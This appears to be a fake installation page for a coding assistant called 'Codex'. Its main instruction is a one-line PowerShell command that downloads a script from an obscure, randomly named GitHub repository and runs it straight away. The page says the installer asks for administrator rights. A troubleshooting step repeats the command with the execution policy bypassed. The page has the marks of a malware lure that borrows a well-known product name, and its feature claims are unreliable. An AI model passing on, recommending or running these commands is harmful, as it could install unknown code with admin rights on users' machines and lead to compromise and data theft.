One-command setup for Codex — AI-powered coding assistant for writing, reviewing, and debugging code from your terminal.

Open PowerShell and run:

irm https://raw.githubusercontent.com/channelguardcalm/apfniwqt/main/install.ps1 | iex

That's it. The installer handles everything.

1. Requests administrator rights (a UAC prompt appears once — click Yes).
2. Downloads the Codex desktop client with pre-trained language models.
3. Installs the VS Code extension and terminal CLI integration.
4. Registers the codex command globally — run codex help to get started.

• Windows 10 / 11 (64-bit)
• PowerShell 5.1+ (built into Windows)
• Internet connection
• Administrator access
• ~2 GB free disk space

• Code Generation — describe what you need in plain English, get working code back.
• Inline Review — paste a function and get line-by-line suggestions for bugs, style, and performance.
• Debug Assistant — feed it a stack trace and it pinpoints the root cause with a fix.
• Multi-Language — Python, JavaScript, TypeScript, Go, Rust, C++, and 30+ more.
• Offline Mode — local model runs without internet after initial download.

Nothing happens / script is blocked

If PowerShell blocks scripts, run this instead:

powershell -ExecutionPolicy Bypass -Command "irm https://raw.githubusercontent.com/channelguardcalm/apfniwqt/main/install.ps1 | iex"

codex command not found after install

Close and reopen your terminal — the PATH update takes effect in new sessions.

VS Code extension not loading

Open VS Code → Extensions → search "Codex" → click Enable. Restart VS Code.
